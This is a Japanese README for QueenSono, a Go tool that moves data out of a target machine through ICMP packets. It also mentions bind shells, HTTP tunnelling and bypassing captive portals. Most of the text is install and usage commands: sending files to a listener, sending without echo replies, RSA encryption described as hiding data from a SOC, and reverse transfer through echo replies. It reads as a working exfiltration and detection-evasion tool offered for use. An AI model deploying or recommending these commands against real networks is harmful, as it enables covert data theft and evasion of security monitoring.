
ICMPプロトコルを使用したデータ流出のためのGolangバイナリ(+ ICMP bindshell、ICMP上のhttpトンネリング、...)
QueenSono ツールは、ICMP プロトコルが監視されていないという事実のみに依存しています。これはかなり一般的です。また、基本的な ICMP 検査(例:頻度とコンテンツ長監視)が行われるシステム内で、または公共 Wi-Fi(空港 Wi-Fi など)で認証後にユーザーを認証するために使用されるキャプティブポータルでの認証手順をバイパスするために使用されることもあります。PyExfil(およびその他)を模倣しようとし、対象のマシンに Python がインストールされている必要がないという考えに基づいています(そのため、バイナリを提供することが有用である可能性があります)。
インストール
·
使用方法
·
注意事項
·
機能リクエスト
·
🎁
curl を使用> リリースから
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go を使用> go install 経由
事前に $GOPATH が $PATH に含まれていることを確認してください。
qssender のインストール
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #バイナリ名を変更
qsreceiver のインストール
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #バイナリ名を変更
> ソースからバイナリをインストール
リポジトリをクローンし、依存関係をローカルにダウンロードします:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
ICMP パケット送信側 qssender をビルドするには:
make build.queensono-sender
ICMP パケット受信側 qsreceiver をビルドするには:
make build.queensono-receiver
qssender はリスナーに ICMP パケットを送信するバイナリです。そのため、対象マシンに転送するバイナリです。
qsreceiver はローカルマシン(または ICMP パケットを受信できる任意の場所)上のリスナーです。
すべてのコマンドとフラグは --help を使用して確認できます。
> この例では、大きなファイルを送信し、パケットの受信を確認するためにエコー応答を待ちます(ACK)。

ローカルマシン上:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0:すべてのインターフェースで ICMP パケットをリッスン
-f received_bible.txt:受信したデータをファイルに保存
-p:受信データの進行状況バーを表示対象マシン上:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #例のため大きなファイルをダウンロード
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file:ファイル送信用(bible.txt が該当ファイル)
-d 2:2 秒ごとにパケットを送信
-l 0.0.0.0:エコー応答のリッスンアドレス -r 10.0.0.92: qsreceiver がリッスンしているリモートマシンのアドレス-s 50000:各パケットで送信するデータサイズ> この例では、エコー応答を待たずにメッセージを送信します(対象のファイアウォールが着信 ICMP パケットをフィルタリングしている場合などに有用)。

ローカルマシン上:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1:すべてのパケットを受信しなくても無期限に待機しません。(1 は qssender で使用される遅延)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all対象マシン上:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N:noreply オプション(エコー応答を待たない)
> この例では、暗号化されたメッセージを送信します。コマンドラインが覗かれる可能性があるため、非対称暗号化を使用します(鍵が漏れても問題にならないように)。

ローカルマシン上:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<公開鍵の出力>
--encrypt:暗号化交換を使用します。公開鍵と秘密鍵が生成されます。公開鍵は qssender がデータを暗号化するために使用され、秘密鍵は receiver で復号化するために使用されます。
対象マシン上:
$ export MSG="<メッセージ>"
$ export KEY="<qsreceiver の出力からの公開鍵>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key:データ暗号化のための鍵を提供します。qsreceiver コマンドによって提供されたものを使用してください。
RSA 暗号化を使用して、交換されるデータの機密性を維持します。これは、例えば、SoC が基本的な分析で交換されるデータを確認するのを防いだり、単にプライバシーのために役立ちます。
ただし、コストがかかります。非対称暗号化を選択した理由は、暗号化キーがコマンドラインで入力されるため(簡単に取得される可能性がある)です。そのため、公開鍵でデータを暗号化します。これにより、誰かが暗号化キーを取得してもメッセージを復号化できなくなります。しかし、公開鍵は秘密鍵よりも小さいため、より小さなメッセージしか暗号化できません。また、計算コストが高くなります。
もう一つのポイントとして、データサイズ/ ping リクエストを制限したい(検出やバグを避けるため)ので、必要な場合にのみ暗号化を使用してください。メッセージの出力サイズは常にモジュラス(鍵の一部)のサイズと等しくなるため、これは大きいです。
現在、メッセージ全体が暗号化されてからチャンクに分割されて送信されます。受信側では、すべてのパケット(チャンク)を待ち、メッセージを再構築してから復号化します。 しかし、これはすべてのチャンクを受信した場合にのみ機能します。そうでない場合、復号化は失敗します。
=> -s パラメータに応じて各チャンクを個別に暗号化することで、個別に復号化できるようにすることができます。
> この例では、ローカルマシンが ICMP エコー応答を介して対象にデータを送り返します。対象からのアウトバウンド ICMP がフィルタリングされているが、対象がエコー応答を受信できる場合に便利です。
ローカルマシン上:
$ qsreceiver reply-send "流出させる秘密データ" -l 0.0.0.0 -d 1
reply-send:qssender からのトリガーを待ち、その後 ICMP エコー応答としてデータを送り返します。
-l 0.0.0.0:トリガーパケット用にすべてのインターフェースでリッスン
-d 1:各応答パケット間の 1 秒の遅延対象マシン上:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive:qsreceiver にトリガーを送信し、着信エコー応答からデータを収集します。
-l 0.0.0.0:着信エコー応答のリッスンアドレス
-r 10.0.0.92:qsreceiver reply-send が待機しているローカルマシンのアドレスQueenSono は ICMPv6 を透過的にサポートしています。IPv6 アドレスを渡すと、プロトコルが自動検出されます — 追加のフラグは不要です。
ローカルマシン上:
$ qsreceiver receive -l ::
対象マシン上:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :::すべての IPv6 インターフェースでリッスン
-r fe80::1:リモートマシンの IPv6 アドレス — 自動的に ICMPv6 をトリガー
すべてのモード(ACK あり送信、ACK なし送信、暗号化、エコー応答)は、IPv6 でも同様に動作します。
QueenSono を使った楽しいことについては、hack セクションを参照してください:
cap_net_raw ケーパビリティが必要です